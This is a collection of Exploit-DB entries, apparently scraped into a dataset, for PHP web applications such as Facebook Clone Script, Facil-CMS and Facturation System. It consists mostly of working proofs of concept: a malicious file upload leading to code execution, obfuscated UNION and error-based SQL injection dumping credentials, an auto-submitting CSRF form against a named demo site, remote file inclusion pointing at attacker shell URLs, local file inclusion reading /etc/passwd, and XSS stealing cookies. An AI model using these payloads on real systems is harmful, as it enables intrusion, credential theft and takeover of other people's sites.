deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45995
Description: Facebook And Google Reviews System For Businesses 1.1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2018-12-14
Author: Ihsan Sencan

Exploit:
# Exploit Title: Facebook And Google Reviews System For Businesses 1.1 - Remote Code Execution
# Dork: N/A
# Date: 2018-12-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://codecanyon.net/item/facebook-and-google-reviews-system-for-businesses/22793559
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/reviews/campaign_add.php?id=[SQL]
# 

POST /[PATH]/reviews/action.php?action=custom_reviews HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 922
Referer: http://localhost/[PATH]/reviews/custom_reviews_add.php
Cookie: PHPSESSID=t7hinqk30gq4ies69nno1lj2b0
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
----------------------------[PII_REDACTED]981: undefined
Content-Disposition: form-data; name="photo"; filename="phpinfo.php"
<?php
phpinfo();
?>
----------------------------[PII_REDACTED]981
Content-Disposition: form-data; name="hidden_photo"
----------------------------[PII_REDACTED]981
Content-Disposition: form-data; name="name"
Efe
----------------------------[PII_REDACTED]981
Content-Disposition: form-data; name="rating"
4.5
----------------------------[PII_REDACTED]981
Content-Disposition: form-data; name="review"
Efe
----------------------------[PII_REDACTED]981
Content-Disposition: form-data; name="date"
12/14/2018
----------------------------[PII_REDACTED]981
Content-Disposition: form-data; name="id"
----------------------------[PII_REDACTED]981
Content-Disposition: form-data; name="submit"
submit
----------------------------[PII_REDACTED]981--
HTTP/1.1 302 Found
Date: Fri, 14 Dec 2018 18:17:48 GMT
Server: Apache
X-Powered-By: PHP/7.0.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: custom_reviews.php
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

GET /[PATH]/reviews/uploads/264082phpinfo.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/[PATH]/reviews/custom_reviews.php
Cookie: PHPSESSID=t7hinqk30gq4ies69nno1lj2b0
DNT: 1
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 14 Dec 2018 18:17:49 GMT
Server: Apache
X-Powered-By: PHP/7.0.33
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #45994
Description: Facebook And Google Reviews System For Businesses 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2018-12-14
Author: Ihsan Sencan

Exploit:
# Exploit Title: Facebook And Google Reviews System For Businesses 1.1 - SQL Injection
# Dork: N/A
# Date: 2018-12-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://codecanyon.net/item/facebook-and-google-reviews-system-for-businesses/22793559
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/reviews/campaign_add.php?id=[SQL]
# 

GET /[PATH]/reviews/campaign_add.php?id=%2d%31%27%20%20%55%4e%49%4f%4e+%53%45%4c%45%43%54+1,%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29,3,4,5,%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33,24,25,%32%36%2c%32%37%2c%32%38%2c%32%39,30--+- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=t7hinqk30gq4ies69nno1lj2b0
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Fri, 14 Dec 2018 18:09:22 GMT
Server: Apache
X-Powered-By: PHP/7.0.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #43280
Description: Facebook Clone Script 1.0 - 'id' / 'send' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Facebook Clone Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/facebook-clone/
# Demo: http://smsemailmarketing.in/demo/fbclone/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/friend-profile.php?id=[SQL
# 
# -1'++/*!22222UNION*/(SELECT(1),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))--+-
# 
# http://server/friend-profile.php?id=-1'++/*!22222UNION*/(SELECT(1),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))--+-
# 
# 2)
# http://localhost/[PATH]/process.php?send=[SQL
#  
# # # # #
Exploit-DB #44799
Description: Facebook Clone Script 1.0.5 - 'search' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-29
Author: L0RD

Exploit:
# Exploit Title: Facebook Clone Script 1.0.5 - 'search' SQL Injection
# Date: 2018-05-29
# Exploit Author: L0RD
# Vendor Homepage: https://www.phpscriptsmall.com/product/facebook-clone/
# Version: 1.0.5
# Tested on: Win 10

# POC : SQLi :

# Parameter : search
# Type : Union based
# Payload : 
1' UNION SELECT NULL,group_concat(table_name,0x3a,column_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
from information_schema.columns where table_schema=schema()#

# Request

POST /demo/fbclone/top-search.php HTTP/1.1
Host: smsemailmarketing.in
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://smsemailmarketing.in/demo/fbclone/setting.php
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 231
Connection: keep-alive

search=1' UNION SELECT NULL,group_concat(table_name,0x3C62723E,column_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
from information_schema.columns where table_schema=schema()#

# Response

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Tue, 29 May 2018 17:12:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Content-Length: 5370

<a href='friend-profile.php?id='><img  src="images/unknown.jpeg"
height="40px"
width="40px">About_you:a_id,about_you:u_id,about_you:u_nick,about_you:u_nickname,about_you:u_nick_show,about_you:nick_privacy,admin:id,admin:name,admin:username,admin:password,admin:ref_password,admin:sex,admin:email_id,admin:valid_id,admin:user_type,admin:user_level,admin:city_code,admin:state_code,admin:country_code,admin:userimages,admin:description
</a></div>
Exploit-DB #44800
Description: Facebook Clone Script 1.0.5 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-05-29
Author: L0RD

Exploit:
# Exploit Title: Facebook Clone Script 1.0.5 - Cross-Site Request Forgery
# Date: 2018-05-29
# Exploit Author: L0RD
# Vendor Homepage: https://www.phpscriptsmall.com/product/facebook-clone/
# Version: 1.0.5
# Tested on: Win 10

# Description :
# Facebook Clone Script 1.0.5 has csrf vulnerability which attacker can
# easily change user information .

# POC :

<html>
  <head>
     <title>Change information</title>
  </head>
  <body>
    <form action="http://smsemailmarketing.in/demo/fbclone/setting.php" method="POST">
      <input type="hidden" name="fn" value="anything" />
      <input type="hidden" name="ln" value="anything" />
      <input type="hidden" name="chnname" value="anything" />
    </form>
    <script>
        document.forms[0].submit();
    </script>
  </body>
</html>
Exploit-DB #6041
Description: facebook newsroom CMS 0.5.0 Beta 1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-11
Author: Ciph3r

Exploit:
#####################################################################
#
# Facebook Newsroom Application Remote File Inclusion Vulnerability
#
#####################################################################
#
# Discovered by : Ciph3r
#
#
# MAIL : Ciph3r_blackhat@yahoo.com
#
#
# SP tanx4: Iranian hacker & Kurdish security TEAM
#
# sp TANX2: milw0rm.com & google.com & sourceforge.net
# 
# CMS download : http://sourceforge.net/project/showfiles.php?group_id=221515    
#
# class : remote
#
# risk : high
#
# message : agha kovat tavalodet mobarak ! inam kadoye tavalodet :d 
#######################################################################
#
# C0de : 
#
#               
#    require_once ($path.'/classes/feedStories.class.php');
#
#
#######################################################################

 EXPLOIT :

 

 www.[Target].com/path/includes/home.php?path=[r57.txt?]


#######################################################################

# milw0rm.com [2008-07-11]
Exploit-DB #23355
Description: Facebook Profile MyBB Plugin 2.4 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-13
Author: limb0

Exploit:
# Exploit Title: MyBB Facebook Profile Plugin Persistant XSS
# Date: 12/12/2012
# Exploit Author: limb0
# Vendor Homepage: http://www.collectiontricks.it/
# Software Link: http://mods.mybb.com/view/facebook-profile-link-on-postbit-2-2
# Version: 2.4
# Tested on: Linux

###################################P-XSS######################################

Installation:

1. Upload all folder to your MyBB installation directory.
2. Go to your Admin-CP and click Plugins.
3. Click Install & Activate.

Configuration:

User-CP >> Edit Profile >> Facebook id/nickname >> Type: "><script>alert(/limb0/)</script>
Then visit one of your threads,and voila.

Proofs:
Configuration:http://postimage.org/image/sumvqlro7/
Testing:http://postimage.org/image/57tjltqb9/

-------------------------------Vulnerable Code---------------------------------------
Line 200-216
					$post["iconfacebook"] = '<a href="http://www.facebook.com/' . $post["facebook"] .'" TARGET=_BLANK><img src="'.$mybb->settings['bburl'].'/images/facebook.gif' .'" /></a>';
					} else 
					{
					}
                } else {
					$post["iconfacebook"] = '<a href="http://www.facebook.com/' . $post["facebook"] .'" TARGET=_BLANK><img src="'.$mybb->settings['bburl'].'/images/facebook.gif' .'" /></a>';
				}	
            }


This vulnerable is dedicated to my brothers. <3
Exploit-DB #2434
Description: faceStones personal 2.0.42 - 'fs_form_links.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-09-25
Author: SHiKaA

Exploit:
#==============================================================================================
#faceStones personal <= v2.0.42 (objpath) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://www.facestones.de/fshtml/service/download/index.php
#                                                                      
#Version : v2.0.42                                            
#                                                        
#================================================================================================
#Bug in : fsl2/objects/fs_form_links.php
#
#Vlu Code :
#--------------------------------
#
#            include($GLOBALS['fsinit']['objpath'] . '/fs_display_indextab.php');
#
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/fsl2/objects/fs_form_links.php?GLOBALS[fsinit][objpath]=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & XoRoN & Timq & Simoo & Saudi HAckerz
==================================================================================================

# milw0rm.com [2006-09-25]
Exploit-DB #34487
Description: Facil Helpdesk - 'kbase/kbase.php' URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-07
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42528/info

Facil Helpdesk is prone to multiple input-validation vulnerabilities, including a cross-site scripting vulnerability, a local file-include vulnerability, and a remote file-include vulnerability.

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, obtain potentially sensitive information, execute local script code in the context of the application, or to execute arbitrary code within the context of the webserver process; other attacks are also possible.

Facil Helpdesk 2.3 Lite is vulnerable; other versions may also be affected.

http://www.example.com/kbase/kbase.php/"><script>alert(document.cookie);</script>
Exploit-DB #5792
Description: Facil-CMS 0.1RC - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-06-12
Author: CWH Underground

Exploit:
=======================================================
 Facil-CMS 0.1RC Local File Inclusion Vulnerabilities
=======================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 12 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Facil-CMS
 VERSION     : 0.1RC
 VENDOR      : http://facilcms.org/
 DOWNLOAD    : http://downloads.sourceforge.net/facil-cms
#####################################################

+++ Local File Inclusion Exploit +++

-------------
 Description
-------------

[+]Use Web Proxy (Web Scarab, Burb Proxy, etc...) to intercept GET Method and edit in request data.

-----------------------------------------------------
 LFI Exploits 
-----------------------------------------------------

[+]http://[Target]/[Path]/index.php?change_lang=<LFI>
[+]http://[Target]/[Path]/modules.php?modload=<LFI>

------------------------------------------
 POC (Use WebScarab to Edit request data)
------------------------------------------

[+] GET http://192.168.23.13/facil/index.php?change_lang=../../../../../../../../boot.ini%00 HTTP/1.1
[+] Accept: */*
[+] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
[+] Host: 192.168.23.13
[+] Cookie: PHPSESSID=e0751800f8e3dca481f3a7369d4a6232

    
    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-12]
Exploit-DB #12061
Description: Facil-CMS 0.1RC2 - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-04-04
Author: eidelweiss

Exploit:
########################################################
	Facil-CMS (LFI/RFI) Vulnerability
########################################################
[+]Title	:	Facil-CMS Multiple Vulnerability
[+]Version:	0.1RC2 
[+]Download:	http://sourceforge.net/projects/facil-cms/files/
[+]Author:	eidelweiss
[+]Contact:	eidelweiss[at]cyberservices[dot]com		

	[!]Thank`s To: all friends

########################################################

	-=[ Vuln C0de ]=-
***********************
[-]facil-cms/index.php

 require_once('config.inc.php');
 require_once(_FACIL_INCLUDES_PATH_ . '/facil-settings.php');
 
 $config = new facilConfig();
 $utils = new facilUtils();
 
 if($utils->is_module($config->getSiteIndex()))

require_once(_FACIL_MODULES_PATH_ . '/' . $config->getSiteIndex() . '/config.php');
require_once(_FACIL_MODULES_PATH_ . '/' . $config->getSiteIndex() . '/class/index.php');

***********************
[-]facil-cms/modules.php

require_once('config.inc.php');
 require_once(_FACIL_INCLUDES_PATH_ . '/facil-settings.php');

 if($_POST['modload'] && !eregi("/", $_POST['modload']))
 {
 	$_MODLOAD = trim($_POST['modload']);
 	if($_POST['fileload'] && !eregi("/", $_POST['fileload']))
 	{
 		$FILELOAD = trim($_POST['fileload']);

 	$_MODLOAD = false;
 	$FILELOAD = false;

 if($_POST['admload'] &&  !eregi("/", $_POST['admload']))
 {
 	$_ADMLOAD = trim($_POST['admload']);
 	if($_POST['fileload'] && !eregi("/", $_POST['fileload']))


 	$_ADMLOAD = false;
 	$FILELOAD = false;

	require_once(_FACIL_MODULES_PATH_ . '/' . $_MODLOAD . '/config.php');
	require_once(_FACIL_MODULES_PATH_ . '/' . $_MODLOAD . '/class/index.php');

*******************

[-]facil-cms/includes/facil-settings.php

if(!isset($_SESSION['FACIL_LANGUAGE']))
 {
 	$_SESSION['FACIL_LANGUAGE'] = $config->getLanguage();
 }
 
 require_once(_FACIL_I18N_PATH_ . '/lang-' . $_SESSION['FACIL_LANGUAGE'] . '.php');
 require_once(_FACIL_THEMES_PATH_ . '/' . $_SESSION['FACIL_THEME'] . '/themeFacil.class.php');

*******************

	-=[ Proof Of Concept ]=-

	http://127.0.0.1/facil-cms/modules.php?modload=../../../../../../../../etc/passwd%00
	Similar reference:
	http://www.exploit-db.com/exploits/5792

	http://127.0.0.1/facil-cms/index.php?getSiteIndex=../../../../../../../../etc/passwd%00

	http://127.0.0.1/facil-cms//includes/facil-settings.php?FACIL_THEME= [rfi shell]

########################################################
Exploit-DB #31242
Description: Facile Forms 1.x - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27880/info

Facile Forms is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_facileforms&Itemid=640&user_id=107&catid=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*
Exploit-DB #45813
Description: Facturation System 1.0 - 'modid' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-12
Author: Ihsan Sencan

Exploit:
# Exploit Title: Facturation System 1.0 - 'modid' SQL Injection
# Dork: N/A
# Date: 2018-11-08
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://obedalvarado.pw/simple-invoice/
# Software Link: https://kent.dl.sourceforge.net/project/simple-invoice/simple-invoice-master.zip
# Version: 1.0 
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/ajax/editar_producto.php
# 
POST /[PATH]/ajax/editar_producto.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=aehrspv1bfhbp1iqhkl1107vd7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 321
mod_codigo=d&mod_id=12'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&mod_nombre=ds&mod_estado=1&mod_precio=2.00
HTTP/1.1 200 OK
Date: Thu, 08 Nov 2018 20:33:55 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 308
Keep-Alive: timeout=5, max=94
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #12521
Description: Factux - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-06
Author: ALTBTA

Exploit:
[~]######################################### InformatioN
#############################################[~]
[~] Title : Factux LFI Vulnerability
[~] Author: altbta [l_9[at]hotmail.com]
[~] download : http://www.toocharger.com/telecharger/scripts/factux/3468.htm

[~]######################################### ExploiT
#############################################[~]
[~] dork: "Factux le facturier libre V 1.1.5"

### include_once("include/language/$lang.php");

[~] Vulnerable File :

http://127.0.0.1/Factux/admin_modif.php?lang=
http://127.0.0.1/Factux/admin?lang=
http://127.0.0.1/Factux/article_new.php?lang=
http://127.0.0.1/Factux/article_update.php?lang=
http://127.0.0.1/Factux/backup.php?lang=
http://127.0.0.1/Factux/backup_timeout.php?lang=
http://127.0.0.1/Factux/bon_suite.php?lang=
http://127.0.0.1/Factux/ca_annee.php?lang=


[~] Example :

http://[site]/factux/ca_annee.php?lang=../../index


[~]#########################################~~{  altbta
}~~######################################[~]

rxh & sad hacker & ab0-3th4b
Exploit-DB #49320
Description: Faculty Evaluation System 1.0 - Stored XSS
Type: webapps
Platform: php
Date: 2020-12-22
Author: Vijay Sachdeva

Exploit:
# Exploit Title: Faculty Evaluation System 1.0 - Stored XSS
# Exploit Author: Vijay Sachdeva (pwnshell)
# Date: 2020-12-22
# Vendor Homepage: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14635&title=Faculty+Evaluation+System+using+PHP%2FMySQLi+with+Source+Code
# Tested on Kali Linux

Step 1: Log in to the application with admin credentials

Step 2: Click on Questionnaires, then click "Action" for any Academic Year
and then click manage.

Step 3. Input "<script>alert("pwnshell")</script>" in "Question" field of
the Question form.

Step 4. Click on "Save" when done and this will trigger the Stored XSS
payloads. Whenever you click on Questionnaires, click action for any
academic year, and then manage,  your XSS Payloads will be triggered for
that "Academic Year"